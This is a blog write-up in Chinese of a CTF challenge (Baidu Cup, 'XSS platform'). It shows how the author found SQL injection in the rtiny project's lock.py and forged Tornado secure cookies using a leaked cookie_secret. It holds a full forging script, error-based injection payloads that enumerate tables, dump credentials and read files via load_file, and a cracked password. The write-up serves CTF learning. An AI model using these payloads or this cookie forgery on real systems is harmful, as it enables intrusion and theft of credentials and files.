“百度杯”CTF比赛 九月场 XSS平台

“百度杯”CTF比赛 九月场 XSS平台

登录页面,开始时尝试注入,没有明显效果,无法判断是否存在注入。

一时没了思路,看了大佬的 WP,发现大佬们是通过构造错误参数使得web报错,从而收集信息,算是又学习到了一招。

于是,在burpsuite里面构造错误参数,报错得到信息

“百度杯”CTF比赛 九月场 XSS平台
image

报错信息中有一个rtiny

github上找到相应 的项目

于是下载源码,接下来,审计:

rinty\lock.py中有明显 的SQL注入漏洞,这里没有任何过滤。

“百度杯”CTF比赛 九月场 XSS平台
image

但是下面用到一个方法,set_secure_cookie,在index.py中发现用于加密cookie的cookie_secret的值,于是可以构造secure_cookie

所以我们只需要将自己的注入语句,使用相同的cookie_secret加密即可,脚本如下:

# coding:utf-8
import tornado.ioloop
import tornado.web 
# @author: V0W
# @reference: https://blog.****.net/include_heqile/article/details/82591707


settings = { 
   "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
        self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
        self.write(self.get_secure_cookie("username"))

def make_app():
    return tornado.web.Application([
        (r"/index", MainHandler),
        ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8089)
    tornado.ioloop.IOLoop.instance().start()

带上cookie(username)访问lock ,查版本测试一下:

“百度杯”CTF比赛 九月场 XSS平台
image

查表名

' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- 
“百度杯”CTF比赛 九月场 XSS平台
image

查属性列名

' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- 
“百度杯”CTF比赛 九月场 XSS平台
image
“百度杯”CTF比赛 九月场 XSS平台
image

ichuqiu|318a61264482e503090facfc4337207f|545

md5解密得到账密:ichuqiu|Myxss623

登陆后台在File中看到提示:

“百度杯”CTF比赛 九月场 XSS平台
image

妈耶==、累死了==、

SQL注入来load_file

“百度杯”CTF比赛 九月场 XSS平台
image

通过mid或者substr来读取完整的flag。

flag{be748a23-daae-4dda-b851-06b44aacb8fb}

φ(>ω<*)

后记

发现现在简书竟然支持外链了!!!!!
简书把md的外链图片自动上传到简书数据库,爱死了!!